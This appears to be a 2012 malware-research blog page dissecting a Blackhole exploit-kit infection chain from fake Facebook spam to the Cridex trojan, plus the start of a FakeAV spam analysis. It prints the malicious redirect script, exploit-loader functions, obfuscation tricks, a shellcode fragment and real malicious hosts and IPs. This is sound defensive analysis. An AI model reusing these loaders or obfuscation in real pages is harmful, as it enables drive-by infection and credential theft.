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Chủ Nhật, 25 tháng 11, 2012

hpHosts: Updated 25-11-2012

11:44 nam tóc xù
The hpHOSTS Hosts file has been updated. There is now a total of 184,913 listed hostsnames.If you are NOT using the installer, please read the included Readme.txt file for installation instructions. Enjoy! :)Latest Updated: 25/11/2012 18:00Last Verified: 24/11/2012 21:00Download hpHosts now!http://hosts-file.net/?s=Download

Email is now working again too.
Read More

Full Disclosure: Analysis of Fake Facebook Notification redirect to Obfuscation Blackhole(PluginDetect 0.7.9) and infecting Cridex Malware

04:39 nam tóc xù 

Important Case Infector Summary:
Fake Facebook Notif.(hacked WordPress)Redirector Host/IP: 
                   demarez.fr(new.htm)/ 88.190.253.248
Blackhole Domain: delemiator.ru
Blackhole IP: 216.24.196.66, 202.180.221.186, 203.80.16.81, 208.87.243.131
Blackhole Proxy Port: 8080
Cridex CNC host: 180.235.150.72 Path: /N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ HTTP/1.1

I was reported the below spam infection by @Hulk_Crusader, 
which I opened as HTML like as per below sample:

Which the links made me redirected into a WordPress blog page: 

↑which lead me to another url as per mentioned above..

I downloaded it to receive HTML page with the below contents, lead us to Blackhole EK
＜html＞
 ＜head＞
  ＜meta http-equiv="Content-Type" content="text/html; charset=utf-8"＞
＜title＞Please wait＜/title＞
 ＜/head＞
 ＜body＞  
＜h1＞＜b＞Please wait a moment ... You will be forwarded... ＜/h1＞＜/b＞
＜h4＞Internet Explorer / Mozilla Firefox compatible only＜/h4＞＜br＞
＜script＞
var1=49;
var2=var1;
if(var1==var2) {document.location="h00p://delemiator・ru:8080/forum/links/column.php";}
＜/script＞
＜/body＞
＜/html＞
Is BHEK's URL patternm, I fetched the column.php in the "right" way,  
//settings...
--proxy=gatling
--retry=2
--cookies (cookies) to on
--keep-session-cookies (keepsessioncookies) to 1
--save-cookies (savecookies) to mycookies.txt
--user-agent (useragent) to MalwareMustDie was just knocking!
--referer (referer) to h00p://yzicalegur.wordpress.com/2012/11/22/you-have-notifications-pending-5/
//result...
--15:20:35--  h00p://delemiator.ru:8080/forum/links/column.php
           => `column.php'
Resolving delemiator.ru... seconds 0.00, 216.24.196.66, 202.180.221.186, 203.80.16.81, ...
Caching delemiator.ru => 216.24.196.66 202.180.221.186 203.80.16.81 208.87.243.131
Connecting to delemiator.ru|216.24.196.66|:8080... seconds 0.00, connected.
Created socket 1896.
Releasing 0x003d5340 (new refcount 1).
---request begin---
GET /forum/links/column.php HTTP/1.0
Referer: h00p://yzicalegur.wordpress.com/2012/11/22/you-have-notifications-pending-5/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6)
Accept: */*
Host: delemiator.ru:8080
Connection: Keep-Alive
---request end---
HTTP request sent, awaiting response...
---response begin---
HTTP/1.1 200 OK
Server: nginx/1.0.10
Date: Sun, 25 Nov 2012 06:20:32 GMT
Content-Type: text/html; charset=CP-1251
Connection: close
X-Powered-By: PHP/5.3.18-1~dotdeb.0
Vary: Accept-Encoding
---response end---
200 OK
Length: unspecified [text/html]
15:20:39 (109.45 KB/s) - `column.php' saved [90019]
it contains obfuscated PluginDetect 0.7.9 snipped below:

Here's the original version-->>[PASTEBIN] 
Decoding Guide of Obfuscated PluginDetect 0.7.9
I made an easy Decoding Guide on how to code manually here -->>[PASTEBIN]And here's the beautiful format of PluginDetect 0.7.9 burped -->>[PASTEBIN] 
Malicious infector files inside of this Exploit Kit
In this post I will focus on writing how to flush BHEK2 malwares. I'll go first with the wellknown malicious infectors "I know" then go to decode - PluginDetect code to burps the rest of the infectors.  1) Firstly, I downloaded a well-known  components like: spn.jar, spn2.jar, spn3.jar, t.pdf and getJavaInfo.jar As per described here --->>[PASTEBIN]↑These samples is as per previously analyze post here -->>[HERE] OK, next, we must see the code, let's seek the PDF infector malwares first...  2) There are 2(two) functions of PDF downloader, p1() & p2(), code is below: 
function p1()
 {
   var d=document.createElement("div");
   d.innerHTML = "＜iframe src=\"/forum/links/column.php?loh="+x("c833f")+"&gggijbpx="+x("occ")+"&xtppbw=2v:1k:1m:32:33:1k:1k:31:1j:1o&jbu="+x(pdfver.join("."))+"\"＞＜/iframe＞";
   document.body.appendChild(d);
 }
function p2()
 {
   var d=document.createElement("div");
   d.innerHTML = "＜iframe src=\"/forum/links/column.php?olnvlwxj="+x("c833f")+"&xdhhdvud="+x("c")+"&hgzmul=2v:1k:1m:32:33:1k:1k:31:1j:1o&ohu="+x(pdfver.join("."))+"\"＞＜/iframe＞";
   document.body.appendChild(d);
 }
Here's how I cracked & downloaded those files-->>[PASTEBIN]I named it infector1.pdf and infector2.pdf, below is analysis report & guide how to decode: 
The infector1.pdf  Contains 4(four) Adobe Exploit & a shellcode to download malware payload.     Adobe version condition per CVE used to infection is as follow:     Adobe ver 9 or ver==8 or before 8.12  ====> CVE-2009-0927     Adobe ver 7.1  ====> CVE-2008-2992     Adobe ver  6 or ver 7 before ver < 7.11  ===> CVE-2007-5659     Adobe ver >= 9.1 or ver <= 9.2 or ver >= 8.13 or ver <= 8.17==> CVE-2009-4324  Full guide to analysis is here --->>[PASTEBIN]
The infector2.pdfContains 1(one) Adobe exploit & shellcode to download malware payload.     Exploit CVE-2010-0188 Aiming Adobe Reader ver <= 9.3 of Windows OS.     Reference is here -->>[Adobe]Full guide to analysis is here --->>[PASTEBIN]
3) I saw 2(two) functions of SWF downloader, function getCN() & function ff2(),     code is as per follows: 
function getCN()
 {
   return "/forum/links/column.php?seyjjv="+x("c833f")+"&apvpjz="+x("cvwyb")+"&mzb=2v:1k:1m:32:33:1k:1k:31:1j:1o&vsoyj=igoe"
 }
function ff2()
 {
   var oSpan=document.createElement("span");
   var url="/forum/links/column.php?cha="+x("c833f")+"&oqbqt="+x("yxjk")+"&hahphpgk=2v:1k:1m:32:33:1k:1k:31:1j:1o&pdwgygwj=liczqqdo";
   oSpan.innerHTML="＜object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'＞＜param name='movie' value='"+url+"' /＞＜param name='allowScriptAccess' value='always' /＞＜param name='Play' value='0' /＞＜embed src='"+url+"' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash' width='10' height='10'＞＜/embed＞＜/object＞";
   document.body.appendChild(oSpan); }  
Just decode the url as per above PDF method, Here's my log in downloading whose SWF's -->>[PASTE]
The details of reversing BHEK 2.x/Plugindetect 0.7.9's field.swf & score.pdf
*) Thanks to @Hulk_Crusader, @Cephrus & @EricOpdyke for stick together to crack this :-)The first swf "field.swf" contains malicious JavaScript Code as per hexed here-->>[PASTEBIN]How the bad guys obfuscating this JS code to avoid AV detction is as follows: 
1. The usage of variables with dullname(n+1) like:  
   _local1, _local2, _localn,...,_localn+1
2. Camouflage of the malicious JS functions, like: 
   [((((("c" + "") + "") + "a") + "l") + "l")]((((((("g" + "") + "e") + "t") + "C") + "") + "N"));
   ↑This means calling function of callgetCN(), or... 
    [((((("c" + "a") + "") + "l") + "") + "l")]((((((((((((("g" + "e") + "t") + "") + "B") + "l") + "o") + "c") + "k") + "S") + "i") + "z") + "e"));
   ↑This means calling function of getBlockSize(), or... 
    [((((("c" + "") + "a") + "l") + "") + "l")]((((((((((((((("g" + "") + "e") + "") + "t") + "A") + "l") + "l") + "o") + "c") + "S") + "") + "i") + "z") + "e"));
   ↑This means calling function of getAllocSize(), or.. 
    [((((("c" + "") + "a") + "") + "l") + "l")]((((((((((((("g" + "") + "e") + "t") + "A") + "l") + "l") + "o") + "cC") + "o") + "u") + "n") + "t"));
   ↑This means calling function of getAllocCount(), or.. 
   [((((((((((((("w" + "r") + "i") + "t") + "e") + "M") + "u") + "l") + "t") + "i") + "B") + "y") + "t") + "e")]
   ↑This means calling function of writeMultiByte(), etc.  3. Furthermore malicious exploit exec calls using same obfuscation like: 
   [((((((((((((("w" + "r") + "i") + "t") + "e") + "M") + "u") + "l") + "t") + "i") + "B") + "y") + "t") + "e")](u(ExternalInterface[((("c" + "a") + "l") + "l")]((((((((((((("g" + "") + "e") + "t") + "F") + "i") + "l") + "l") + "B") + "y") + "t") + "e") + "s"))), (("u" + "t") + "f-16"));
   ↑This means: 
    writeMultiByte(call(getfillBytes,utf-16));
4. And also the execution of the shellcode function written in PluginDetect: 
   [(((((((((((("w" + "r") + "i") + "t") + "e") + "M") + "u") + "l") + "ti") + "B") + "y") + "t") + "e")](u(ExternalInterface[((("c" + "a") + "l") + "l")]((((((((((((("g" + "") + "e") + "t") + "S") + "h") + "e") + "l") + "l") + "C") + "o") + "d") + "e"))), (((("u" + "t") + "f-") + "1") + "6"));
    ↑This means: 
     writeMultibyte(call(getShellCode,utf-16));
5. Some strings manipulation also being obfuscated, like below real example: 
   _local13[(((((((("p" + "o") + "s") + "i") + "t") + "") + "i") + "o") + "n")] 
   ↑This command means: position, to be used in the next variable, like: 
   _local13.writeBytes(_local12);
   you should replace them like the below to make sense of it: 
   position.writeBytes(_local12);
   Where the _local12 can be traced↓ 
   var _local12:* = new ByteArray();
   _local17 = _local12; 
   _local17[(((((((((((("w" + "r") + "i") + "t") + "e") + "M") + "u") + "l") + "t") + "i") + "By") + "t") + "e")](u(ExternalInterface[((("c" + "a") + "l") + "l")]((((((((((((("g" + "") + "e") + "t") + "F") + "i") + "l") + "l") + "B") + "y") + "t") + "e") + "s"))), (((("u" + "t") + "f-") + "1") + "6"));
    //↑writeMultibyte(call(getShellCode,utf-16));
   which goes straight to shellcode execution written in PluginDetect logic.  6. You will see some variable initiate with what looks like unused strings like: 
   var _local4:* = "zcxJGDRGyr?xwkxnrwZll&tPjcLRV-BkeWmoCLKInByTIh@ktS*KLrTvOxmR!YudlrTwiJpSoJgv?F!UOJ-U&GlcD@bLaaxnECM*JIYYqgzcgUgWV+l*qqMUCDPcg?dnPSlDWdNwCU**qjuCmFSRrWFPsXftJIcbu!GXQbS#JLdpwG&MBTZbM*aoNM?fjnXW!-p@-huCvOHHDRjkZl-hDiq!zJefCugAxcDNZDttqT#CKg&danx?Zp??IbamiA!g#bXaHvENSxZtGRhz?OGH!gkRJcLVjZUmfG-FEV*x?kufOhP#CPAfmgpLI+OEdeKxgJ#QoTgAwTzHViZfuLdEmv@mJTaWqtPGToM#SNkalDsuKEIcxybRWRvOpzwLyAZ!l!NhRAQq#wpGPHQ*RrSSkPeZpTMamIAqtkSrpCIqi#ekFdJrEJZjwzZ+j&ElPboxXlkzU@fRdhqZyHPUOOMQAugjRsidiYrPVDCVswvV!WBTpGtNQpAVRch@vgXd@lvRWAkeuRvx-wYtQgJNxNitRkcJyT@pDN?c&uJmNR?qtbMpldlRKdaLYANcmivSpNuaRLIdWSH*?DrQCNV@n??w-@H*EZkLuHXLv?tmcc#B!efqgIoYtPSJAZXWzmGAYAEhEDKtRL@iZJDmadRz&SHoIr@QnKVqhutl!ExiVPypWNXqy!tvSMHebh@oeVVSeWxac&qDGEgI*TuegMVE!TGlIl-VzBYK@@dFWfrn@AW?v+UgZEhER!kxK!vHJb@ykm!klky+qsUErqrTG?eZhS#!ThoDKf@CZDcdHTIdEnLr@y*TsVxG-AGsISRHgIwp#ksofYmayYT@OyHmRCZL*YGDRmdZzBMfgsOyurjhcTw-TT#AM!yn*rgWOdnmAhR?RPI*gQAgaJc&DTKymIaq?r!yhHVqr!lzxVc?ymvDvBgUPzbfky#*uHPAljgLoIHwHlwOcTlRRUTtsG!ZgCSATvafsYUrag+NL-@H!gHm@F&FD*#rtn@AsNyLu!CEOEm*opZlr?VAH?CiSBbWpJ!+*C+XMkXhTA+jQUSIB*oAtlA-y@mJ@jHjgGqPnNVW&IF*iH?j&Pm*&sQbKOg*UwrfEmK@OAeAZgRaEnExMcxQmnVTRVWqewvNY-tyzC*HAVw?vhi!LVxTqLBksWqs*lOCQ!CwMau+sFLvUm?";
    var _local15:* = "zcxJGDRGyr?xwkxnrwZll&tPjcLRV-BkeWmoCLKInByTIh@ktS*KLrTvOxmR!YudlrTwiJpSoJgv?F!UOJ-U&GlcD@bLaaxnECM*JIYYqgzcgUgWV+l*qqMUCDPcg?dnPSlDWdNwCU**qjuCmFSRrWFPsXftJIcbu!GXQbS#JLdpwG&MBTZbM*aoNM?fjnXW!-p@-huCvOHHDRjkZl-hDiq!zJefCugAxcDNZDttqT#CKg&danx?Zp??IbamiA!g#bXaHvENSxZtGRhz?OGH!gkRJcLVjZUmfG-FEV*x?kufOhP#CPAfmgpLI+OEdeKxgJ#QoTgAwTzHViZfuLdEmv@mJTaWqtPGToM#SNkalDsuKEIcxybRWRvOpzwLyAZ!l!NhRAQq#wpGPHQ*RrSSkPeZpTMamIAqtkSrpCIqi#ekFdJrEJZjwzZ+j&ElPboxXlkzU@fRdhqZyHPUOOMQAugjRsidiYrPVDCVswvV!WBTpGtNQpAVRch@vgXd@lvRWAkeuRvx-wYtQgJNxNitRkcJyT@pDN?c&uJmNR?qtbMpldlRKdaLYANcmivSpNuaRLIdWSH*?DrQCNV@n??w-@H*EZkLuHXLv?tmcc#B!efqgIoYtPSJAZXWzmGAYAEhEDKtRL@iZJDmadRz&SHoIr@QnKVqhutl!ExiVPypWNXqy!tvSMHebh@oeVVSeWxac&qDGEgI*TuegMVE!TGlIl-VzBYK@@dFWfrn@AW?v+UgZEhER!kxK!vHJb@ykm!klky+qsUErqrTG?eZhS#!ThoDKf@CZDcdHTIdEnLr@y*TsVxG-AGsISRHgIwp#ksofYmayYT@OyHmRCZL*YGDRmdZzBMfgsOyurjhcTw-TT#AM!yn*rgWOdnmAhR?RPI*gQAgaJc&DTKymIaq?r!yhHVqr!lzxVc?ymvDvBgUPzbfky#*uHPAljgLoIHwHlwOcTlRRUTtsG!ZgCSATvafsYUrag+NL-@H!gHm@F&FD*#rtn@AsNyLu!CEOEm*opZlr?VAH?CiSBbWpJ!+*C+XMkXhTA+jQUSIB*oAtlA-y@mJ@jHjgGqPnNVW&IF*iH?j&Pm*&sQbKOg*UwrfEmK@OAeAZgRaEnExMcxQmnVTRVWqewvNY-tyzC*HAVw?vhi!LVxTqLBksWqs*lOCQ!CwMau+sFLvUm?";
    var _local16:* = "zcxJGDRGyr?xwkxnrwZll&tPjcLRV-BkeWmoCLKInByTIh@ktS*KLrTvOxmR!YudlrTwiJpSoJgv?F!UOJ-U&GlcD@bLaaxnECM*JIYYqgzcgUgWV+l*qqMUCDPcg?dnPSlDWdNwCU**qjuCmFSRrWFPsXftJIcbu!GXQbS#JLdpwG&MBTZbM*aoNM?fjnXW!-p@-huCvOHHDRjkZl-hDiq!zJefCugAxcDNZDttqT#CKg&danx?Zp??IbamiA!g#bXaHvENSxZtGRhz?OGH!gkRJcLVjZUmfG-FEV*x?kufOhP#CPAfmgpLI+OEdeKxgJ#QoTgAwTzHViZfuLdEmv@mJTaWqtPGToM#SNkalDsuKEIcxybRWRvOpzwLyAZ!l!NhRAQq#wpGPHQ*RrSSkPeZpTMamIAqtkSrpCIqi#ekFdJrEJZjwzZ+j&ElPboxXlkzU@fRdhqZyHPUOOMQAugjRsidiYrPVDCVswvV!WBTpGtNQpAVRch@vgXd@lvRWAkeuRvx-wYtQgJNxNitRkcJyT@pDN?c&uJmNR?qtbMpldlRKdaLYANcmivSpNuaRLIdWSH*?DrQCNV@n??w-@H*EZkLuHXLv?tmcc#B!efqgIoYtPSJAZXWzmGAYAEhEDKtRL@iZJDmadRz&SHoIr@QnKVqhutl!ExiVPypWNXqy!tvSMHebh@oeVVSeWxac&qDGEgI*TuegMVE!TGlIl-VzBYK@@dFWfrn@AW?v+UgZEhER!kxK!vHJb@ykm!klky+qsUErqrTG?eZhS#!ThoDKf@CZDcdHTIdEnLr@y*TsVxG-AGsISRHgIwp#ksofYmayYT@OyHmRCZL*YGDRmdZzBMfgsOyurjhcTw-TT#AM!yn*rgWOdnmAhR?RPI*gQAgaJc&DTKymIaq?r!yhHVqr!lzxVc?ymvDvBgUPzbfky#*uHPAljgLoIHwHlwOcTlRRUTtsG!ZgCSATvafsYUrag+NL-@H!gHm@F&FD*#rtn@AsNyLu!CEOEm*opZlr?VAH?CiSBbWpJ!+*C+XMkXhTA+jQUSIB*oAtlA-y@mJ@jHjgGqPnNVW&IF*iH?j&Pm*&sQbKOg*UwrfEmK@OAeAZgRaEnExMcxQmnVTRVWqewvNY-tyzC*HAVw?vhi!LVxTqLBksWqs*lOCQ!CwMau+sFLvUm?abXwu!cncl!JvcaWTqyXpNorkEnVldW?GYgGNDmSKFwiEqauSYTMSRmIrBEQwPxb-rbHuxiz-@ic&tPh!&BVADXW@jFCGwrEQmlBuAQHtpFW-ajxa*!wKo&KcnqoEsVWnO-aXJcDIMlwkshdPm*JncJVIilDxtaQbYIWzBaSYawQ!eX?rGsri!RVQYLBiCCqpooHhHP#AozyrvUdcCtYVsvIyoP?WUJMcOPJf!qoMOiPVWL+Pmuz-LLmU+xXLT#OAaA+!PhP*MjQse?uRnGgWqNC!iM?zOat#!sbxmeH-ZCEwAucUXgRuPbNGvPzUy+Yn@&oCQwpVWWTcuqEUBpZrv!bC-KzMZMr!d*Ly@nN*x!oSECeqnaF&ZCeNOcFbphES#wg*NAmvuT!MAo#fKBN*&rozfkba@!&tidlLTl?ECrkAAcRsO#E&b?@G?iEhhrUAMqjsfhSk#+nLDKJGViEWdjyNFNLwUh+kbRyGXzLOxxOBLuk-LuqnG??dVzAdKTbcBp&e@YvgMctjX!SOBYCoIqEQLW+KaVUBS*xLfG#xDpSEbotTKYcGv!iK?*!nUbucr-FGH+saxGXoV?IyaH!On+r-WHZ+IQTJZNTt@uPxcaNBeFd?wUipECbXswVKTUoErnLe-CTI*PyxRPu?YXGQVs?R*A-IkjyYeSCLceakszQAMmMviflWSlgoDmROlff@*mcvnPyAblAHjAkXh#LpychVfF#GQNYDd#tuGNhYQaM#wLlTty*O@+NlrgkEFLDwgP?H!kznkUgQvbnbzivKgXiDvdtlWur-kqvvuxIRWHNcsgM-bS-BwcMVqJ&NWKdqPmPt?EHSSoXTXYscBhPxlOpiRhrXdNlohJDh!s*&GekAyGVp*CbOgLsprkECHgIEkyBtKqL-jtNaFdSZqxQAsXpeSsmugPdgupvIHHiW!QX#BKjQWuqMrcHvCeA&OMxcbzlKUfJkyAELR#FftyTrHHAVa&ZCu&XYeDoEqwahfdnbQ#rInjyEYZKMIyjCOspckK-vwTYWzUwqlTSbRiHekhfCMBU&LURksZzatvbsJJnC!OaCrNiAbLoeerfKfNYE*BDvxOGfZ?xtdZcJ&TRlvVUKgRFBrDjca@cCnG&&FfFNreRgP@xHfVglB!WZMzLhdnTxYpprLbgGCpA#SLtllz-rc";
   ↑The above string only "_local4" is being used (to be pased into [score.swf]),     the rest are actually a garbage.
OK, we can read it. Now what does it mean? Here's the simple explanation: 
1. It loads the url defined in PluginDetect at [getCN()] function which as    per explained above will download the score.swf2. Exploit the CVE-2011-0611 using the shellcode    provided by the [PluginDetect shellcode()] then execute payload download, or.. 3. ..will lead you to directly download payload.
The second swf (score.swf) was decoded here-->>[PASTEBIN]field.swf has the obfuscation pattern as per below: 
1. The usage of clattered strings to camouflage the real meaning: 
   [(((((((((("v" + "") + "e") + "r") + "") + "s") + "i") + "o") + "") + "") + "n")];
   ↑This means "version" 2. Obfuscation of Java command in clattered strings in a var: 
   _local3[((((("r" + "e") + "ve") + "r") + "s") + "e")]();
   ↑This means the usage of function: reverse() 3. A "hidden" swap operation of particular strings to null to deobfs code: 
   _local2 = this.str_replace(_local2, ((((((((((((((("!" + "X") + "X") + "") + "X") + "X") + "!0") + "3") + "9") + "4") + "3") + "4!") + "X") + "X") + "X") + "!"), "");
   ↑This means: str_replace("!XXXX!039434XXX!","") command.    PS: Many swf malware JS/obfus using this method as per the below case in:    i) Contagio blog -->>[HERE], and ii)StopMalvertising blog -->>[HERE]4. There is an important obfuscation which is the clue of exploit used: 
    _local14[(((((((((((("" + "l") + "o") + "") + "a") + "d") + "B") + "y") + "t") + "e") + "") + "") + "s")](this.h2b(_local2));
     _local14 = this;
     _local14[((((((((((("a" + "") + "d") + "") + "d") + "") + "") + "C") + "h") + "i") + "l") + "d")](_local4);
   ↑This explains loadBytes() and addChild() flash Java functions which     are used to load and execute a media.
How the Exploit of score.swf goes? 
In this file there's a strings of bytes as per below: 
_local13 = new array(54, 54, 69, 51, 54, 57, 65, 48, 49, 48, 70, 70, 48, 69, 53, 52, 56, 49, 53, 48, 57, 53, 70, 50, 49, 70, 49, 68, 70, 51, 54, 48, 57, 53, 54, 68,...
which is gathered by the below generator: 
 _local2 = "";
 i = 0;
 while (i < _local13.length) {
     _local2 = (_local2 + string.fromcharcode(_local13[i]));
     i++;
 };
And after filtered and reversed() thus will be load into memory with  loadBytes() and addChild() mentioned above.  You will see the swf will be crashed & freeing a pointer as per described in- the PoC of CVE-2012-0769 described in BlackHat US 2012-->>[HERE]The concept is the same in pattern of PoC:  
for(i=0;i＜0x200;i++){bd=new BitmapData(size,0x1,false,0xCCCCCC);} //＜#jackpot!
In our case, square pattern was written in strings executed by addChild()
I spent enough time to test score.swf, resulted to that direct payload isn't exist. Yet as per its name, is used to "score" exploit state for execution arbitrary- code of OTHER JS/Code evil functions (either in PluginDetect, other SWF or PDFs) that related to the dropping/downloading payloads of BHEK2.x set. The memory dump of score.swf is here--->>[PASTEBIN] 
Conclusion:
1. score.swf,field.swf & PluginDetect's JS functions are calling to each other.    implied a set of package, inseparable. 2. Every java functions from PluginDetect0.7.9 are calling to functions under     components of infectors after being loaded, and scheme of Exploit + Infections    runs in memory, suggesting that all trace of infection can be trace in     Forensics or Dynamic Memory Analysis. 3. It is important to know how these moronz obfuscating the code,    for the automation tools adjusted and detect these properly.
4) And we have a shellcode functions as below: 
function getShellCode()
 { 
   var a="8200!%5482!%4451!%e015!%51d5!%c4c5!%34e0!%5191!.. 
!%b3f6!%a23c!%423c!%babe!%e7c2!%b77d!%3c42!%82ba!%c224!%7..   
8724!%8207!%8282!%0c82!%ac1d!%7d7d!%0b7d!%170c!%24d2!%3af..
77!%d5c1!%dacc!%ffff!%beff!%508e!%afbe!%042e!%0382!%ef08!..
   ..1414!%".split("").reverse().join("");
   return str_replace((window.document)?"%!":"", "%u", a) }  
It is important to remember that inside of - this shellcode there is a connection with payload,  usually via url, or it dropped binary to download he payloads.. The decoding guide is in here --->>[PASTEBIN] The downloaded payload is a Cridex Trojan, with the following activities: 
1. Copied files (itself) using API: CopyFileW(lpExistingFileName: "C:\TEST\sample.exe", lpNewFileName: "C:\Documents and Settings\User\Application Data\KB00085031.exe", bFailIfExists: 0x0)
  Into directory:
   C:\Documents and Settings\User\Application Data\KB00085031.exe
2. Do the self deletion after drop...
3. Creating three memory injection processes:
     CreateRemoteThread(hProcess: 0x7c, lpThreadAttributes: 0x0, dwStackSize: 0x0, lpStartAddress: 0xf0ed50, lpParameter: 0xf00000, dwCreationFlags: 0x0, lpThreadId: 0x0)
     CreateRemoteThread(hProcess: 0x7c, lpThreadAttributes: 0x0, dwStackSize: 0x0, lpStartAddress: 0x92ed50, lpParameter: 0x920000, dwCreationFlags: 0x0, lpThreadId: 0x0)
     CreateRemoteThread(hProcess: 0x7c, lpThreadAttributes: 0x0, dwStackSize: 0x0, lpStartAddress: 0x2a5ed50, lpParameter: 0x2a50000, dwCreationFlags: 0x0, lpThreadId: 0x0)
4. Which resullted the new processes appears below:
   0xb8 KB00085031.exe 
   0xec cmd.exe 0x7e4 
   0x348 svchost.exe 
5. Sends your credentials data to the remote hosts....
For the registry, it made an autorun, change the internet setting & cache, and put a long encrypted data too. Here's Registry Shoot data-->>[PASTEBIN] As for the Network Analysis, it did HTTP/POST to 180.235.150.72 Sending request POST /N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ HTTP/1.1 Communication to CNC in snipped txt is here --->>[PASTEBIN] The malware process that I snapped is as per below: Previous reference of this trojan like analyzed in previous post here -->>[HERE]*) For the Network & Registry analysis raws can be fetched below the sample download.  
References
Here's the pic of the total captured files in this story: Here's the sample for the research purpose -->>[CLICK]Here's the PCAP & RegShot full data download -->>[CLICK]Here's my LOG during analysis -->>[CLICK] Below is the VT Analysis Result of unique samples:  column.php      abcd2644de8c447578d88dd4fd1e3508 VT(2/44) field.swf       aab57a979a6411578ae66ed676394d12 VT(8/44) infector1.pdf   465cb634d94d0b16cc1828b6222f0e09 VT(19/44) infector2.pdf   4bb885be4b547aa70d4910422f89d546 VT(20/44) score.swf       8ee6d435e5bb423671bd03728745bd0b VT(9/44) spn.jar         61db98323b8d0512e618f74f70d583ae VT(2/44) spn2.jar        8d0f9fc0a05b2acaecfef2f5d88a1121 VT(4/44) spn3.jar        d56e54b431189a1b2a02be243574e829 VT(3/44) t.pdf           d1e2ff36a6c882b289d3b736d915a6cc VT(21/43) wpbt0.dll       8229f69bc416cdca7f314f19fe7b4e18 VT(6/42)

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Thứ Bảy, 24 tháng 11, 2012

How, from where, by which IP you got infected w/FakeAV: System Progressive Protection; UPS Fake Spam, Spain's Front End Infector+Support Page, and Taiwan's CnC server

05:15 nam tóc xù
Today I was receiving report of another UPS spam (again, thank's to officer Pryor). Which lead users to download the FakeAV System Progressive Protection. This investigation is exposing all aspect of infection, from which spam, what downloaded trojan downloader used, which CnC used for communication and down to the support page.

Infection Summary

1. Drive by spam
2. w/html URL to h00p://proyectosnavarra.es/CMUNFWKUWY.html ←Troj/Downloader's dropper
3. Trojan Download FakeAV installer from IPs`: 217.76.130.213 (Spain), 
   59.126.131.132 (Taiwan), 61.222.241.208 (Taiwan) & 217.76.130.3 (Spain)
4. Send data to these IP: 59.126.131.132, 61.222.241.208 (Taiwan)
5. Support Center is in this IP: 178.32.29.188 (Spain)

All of the data written is as per it is, for the law evidence & research purpose I also share the samples and captures. I am so sorry for taking so long analyzing this, since I have only one windows machine to perform all of this analysis.

Here we go.. 

Following another reported UPS email like below...

Which lead us to the link:
h00p://proyectosnavarra・es/CMUNFWKUWY.html
One thing I LOVE of spam infection is we can fetch it well... 
--15:36:04--  h00p://proyectosnavarra.es/Receipt.zip
           => `Receipt.zip'
Resolving proyectosnavarra.es... 217.76.130.213, 217.76.130.3
Connecting to proyectosnavarra.es|217.76.130.213|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 93,060 (91K) [application/x-zip-compressed]
15:36:07 (56.43 KB/s) - `Receipt.zip' saved [93060/93060]
Is a zip alright... 
0000   50 4B 03 04 14 00 00 00 08 00 45 87 77 41 F1 63    PK........E.wA.c
0010   BA 03 FE 6A 01 00 00 5C 02 00 12 00 00 00 50 6F    ...j..........Po
0020   73 74 61 6C 5F 52 65 63 65 69 70 74 2E 65 78 65    stal_Receipt.exe
0030   EC BD 7D 7C 54 D5 B5 30 7C 66 E6 64 72 92 4C 72    ..}|T..0|f.dr.Lr
0040   06 48 30 40 80 00 41 D1 A0 46 87 68 E2 10 9C 18    .H0@..A..F.h....
0050   26 C4 8F E0 C4 C0 0C 11 12 E8 15 D2 38 A5 95 C2    &...........8...
0060   39 80 95 40 D2 93 A1 39 39 8E A5 AD DC 6B AF 7A    9..@...99....k.z
0070   2B 0F 7A 1F 7D DA DB DA 56 3E FC 00 67 08 E6 43    +.z.}...V>..g..C
0080   91 86 8F 62 28 41 07 4D 71 8F 27 62 10 4C 26 10    ...b(A.Mq.'b.L&.
0090   72 9E B5 F6 99 99 04 DB FB DE BE EF EF 3E EF FB    r............>..
00A0   CF CB 8F 39 67 7F AC BD F6 DA 6B AF BD F6 5A FB    ...9g.....k...Z.
And this zip file contains a malware (see pic below) What's inside? 
// extract it...
$ unzip ./Receipt.zip
Archive:  ./Receipt.zip
extracting: Postal_Receipt.exe
//File timestamps..
-rwxr-xr-x  1 xxx xxx 154624 Nov 23 16:58 Postal_Receipt.exe* <=== see the creaion date, new!
Binary Analysis
Let's "surgery" this Postal_Receipt.exe, looks like a plain PE: 
0000   4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00    MZ..............
0010   B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00    ........@.......
0020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0030   00 00 00 00 00 00 00 00 00 00 00 00 E8 00 00 00    ................
0040   0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68    ........!..L.!Th
0050   69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F    is program canno
0060   74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20    t be run in DOS
0070   6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00    mode....$.......
0080   D1 46 30 9D 95 27 5E CE 95 27 5E CE 95 27 5E CE    .F0..'^..'^..'^.
0090   06 69 C6 CE 94 27 5E CE 8E BA F5 CE B5 27 5E CE    .i...'^......'^.
00A0   8E BA C0 CE 86 27 5E CE 8E BA F4 CE E3 27 5E CE    .....'^......'^.
00B0   9C 5F CD CE 90 27 5E CE 95 27 5F CE CB 27 5E CE    ._...'^..'_..'^.
00C0   8B 75 DA CE 94 27 5E CE 8B 75 CF CE 94 27 5E CE    .u...'^..u...'^.
00D0   52 69 63 68 95 27 5E CE 00 00 00 00 00 00 00 00    Rich.'^.........
00E0   00 00 00 00 00 00 00 00 50 45 00 00 4C 01 04 00    ........PE..L...
00F0   C0 63 AF 50 00 00 00 00 00 00 00 00 E0 00 03 01    .c.P............
Some details of binary: 
Sections:
   .text 0x1000 0xcfe1 53248
   .rdata 0xe000 0x29d0 10752
   .data 0x11000 0x3a84 7680
   .rsrc 0x15000 0x13ed0 81920
Entry Point at 0xe87
Virtual Address is 0x401a87
Compiler: Microsoft Visual C++ 8
CRC Check Failed, Claimed:  0 Actual:  191423
Compile Time: 0x50AF63C0 [Fri Nov 23 11:53:36 2012 UTC]
MIMEType                 : application/octet-stream
Subsystem                : Windows GUI
